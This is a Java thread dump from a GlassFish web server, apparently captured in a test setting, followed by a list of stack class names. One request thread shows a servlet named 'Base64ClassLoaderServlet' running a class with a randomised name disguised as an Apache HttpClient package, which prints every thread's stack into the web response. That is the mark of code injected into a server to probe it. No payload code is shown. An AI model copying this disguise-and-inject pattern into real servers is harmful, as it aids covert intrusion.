java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"RunLevelControllerThread-1785504717690" #51 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@5752d33f + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-listener-2(4)" #73 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@3f220ab9 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:532) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:520) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"CM Event Dispatcher" #46 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@18ac68cd + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:485) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:673) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:73) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"RunLevelControllerThread-1785504717687" #49 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@5752d33f + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Common-Cleaner" #18 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3113e703 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1886) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218) + at java.base@21.0.11/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + at java.base@21.0.11/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:186) + +"Notification Thread" #19 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"deployment-jar-scanner" #90 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68477d84 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"RMI TCP Connection(1)-192.168.215.4" #122 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.Net.poll(Native Method) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl.park(NioSocketImpl.java:191) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl.timedRead(NioSocketImpl.java:280) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl.implRead(NioSocketImpl.java:304) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl.read(NioSocketImpl.java:346) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl$1.read(NioSocketImpl.java:796) + at java.base@21.0.11/java.net.Socket$SocketInputStream.read(Socket.java:1099) + at java.base@21.0.11/java.io.BufferedInputStream.fill(BufferedInputStream.java:291) + at java.base@21.0.11/java.io.BufferedInputStream.implRead(BufferedInputStream.java:325) + at java.base@21.0.11/java.io.BufferedInputStream.read(BufferedInputStream.java:312) + at java.base@21.0.11/java.io.FilterInputStream.read(FilterInputStream.java:71) + at java.rmi@21.0.11/sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:580) + at java.rmi@21.0.11/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:844) + at java.rmi@21.0.11/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:721) + at java.rmi@21.0.11/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda/0x000000080154b190.run(Unknown Source) + at java.base@21.0.11/java.security.AccessController.executePrivileged(AccessController.java:778) + at java.base@21.0.11/java.security.AccessController.doPrivileged(AccessController.java:400) + at java.rmi@21.0.11/sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:720) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-listener-1(1)" #62 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/java.lang.Thread.dumpThreads(Native Method) + at java.base@21.0.11/java.lang.Thread.getAllStackTraces(Thread.java:2522) + at org.apache.http.client.aTjwp.ErrorNipekHandler.toString(BasicInfoPrinter.java:26) + at java.base@21.0.11/java.lang.String.valueOf(String.java:4454) + at org.apache.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:265) + at WebappClassLoader//Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:27) + at org.apache.catalina.core.StandardWrapper.service(StandardWrapper.java:1316) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:155) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111) + at WebappClassLoader//ServletNameTestFilter.doFilter(ServletNameTestFilter.java:17) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:135) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111) + at WebappClassLoader//UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:22) + at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:135) + at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:111) + at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198) + at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:123) + at org.apache.catalina.core.StandardPipeline.doInvoke(StandardPipeline.java:563) + at org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:504) + at com.sun.enterprise.web.WebPipeline.invoke(WebPipeline.java:71) + at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:121) + at org.apache.catalina.connector.CoyoteAdapter.doService(CoyoteAdapter.java:294) + at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:187) + at com.sun.enterprise.v3.services.impl.ContainerMapper$HttpHandlerCallable.call(ContainerMapper.java:428) + at com.sun.enterprise.v3.services.impl.ContainerMapper.service(ContainerMapper.java:142) + at org.glassfish.grizzly.http.server.HttpHandler.runService(HttpHandler.java:174) + at org.glassfish.grizzly.http.server.HttpHandler.doHandle(HttpHandler.java:153) + at org.glassfish.grizzly.http.server.HttpServerFilter.handleRead(HttpServerFilter.java:202) + at org.glassfish.grizzly.filterchain.ExecutorResolver$9.execute(ExecutorResolver.java:89) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeFilter(DefaultFilterChain.java:246) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.executeChainPart(DefaultFilterChain.java:178) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.execute(DefaultFilterChain.java:118) + at org.glassfish.grizzly.filterchain.DefaultFilterChain.process(DefaultFilterChain.java:96) + at org.glassfish.grizzly.ProcessorExecutor.execute(ProcessorExecutor.java:51) + at org.glassfish.grizzly.nio.transport.TCPNIOTransport.fireIOEvent(TCPNIOTransport.java:513) + at org.glassfish.grizzly.strategies.AbstractIOStrategy.fireIOEvent(AbstractIOStrategy.java:82) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy.run0(WorkerThreadIOStrategy.java:83) + at org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable.run(WorkerThreadIOStrategy.java:101) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:540) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:520) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-listener-1-expirer(1)" #67 daemon [TIMED_WAITING] on java.lang.Object@16a6965d + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:148) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"JarFileManager-1" #96 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@40b4fb96 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-4" #27 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@110747f0 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[]]" #94 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Thread.sleep0(Native Method) + at java.base@21.0.11/java.lang.Thread.sleep(Thread.java:509) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1545) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"events-101" #101 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@13cc1559 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixFrameworkWiring" #32 daemon [WAITING] on java.util.ArrayList@20cc8f56 + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at OSGi//org.apache.felix.framework.FrameworkWiringImpl.run(FrameworkWiringImpl.java:169) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-listener-2-kernel(1) SelectorRunner" #76 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:540) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:520) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"events-102" #102 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@13cc1559 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web]]" #95 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Thread.sleep0(Native Method) + at java.base@21.0.11/java.lang.Thread.sleep(Thread.java:509) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1545) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-1" #24 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@110747f0 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"deployment-jar-scanner" #87 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@68477d84 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"DynamicReloader" #103 daemon [TIMED_WAITING] on java.util.TaskQueue@1847cc7a + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.util.TimerThread.mainLoop(Timer.java:563) + at java.base@21.0.11/java.util.TimerThread.run(Timer.java:516) + +"http-listener-1(5)" #66 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@771d7673 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:532) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:520) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-listener-1(3)" #64 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@771d7673 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:532) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:520) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-listener-2(1)" #70 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@3f220ab9 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:532) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:520) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"JarFileManager-1" #93 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79124b98 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +ServletNameTestFilter +UrlMappingTestFilter +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardPipeline +org.apache.catalina.core.StandardWrapper +org.apache.catalina.core.StandardWrapperValve +org.apache.felix.cm.impl.UpdateThread +org.apache.felix.fileinstall.internal.DirectoryWatcher +org.apache.felix.framework.EventDispatcher +org.apache.felix.framework.EventDispatcher$1 +org.apache.felix.framework.FrameworkStartLevelImpl +org.apache.felix.framework.FrameworkWiringImpl +org.apache.http.client.aTjwp.ErrorNipekHandler +org.glassfish.grizzly.ProcessorExecutor +org.glassfish.grizzly.filterchain.DefaultFilterChain +org.glassfish.grizzly.filterchain.ExecutorResolver$9 +org.glassfish.grizzly.http.server.HttpHandler +org.glassfish.grizzly.http.server.HttpServerFilter +org.glassfish.grizzly.nio.DefaultSelectorHandler +org.glassfish.grizzly.nio.SelectorRunner 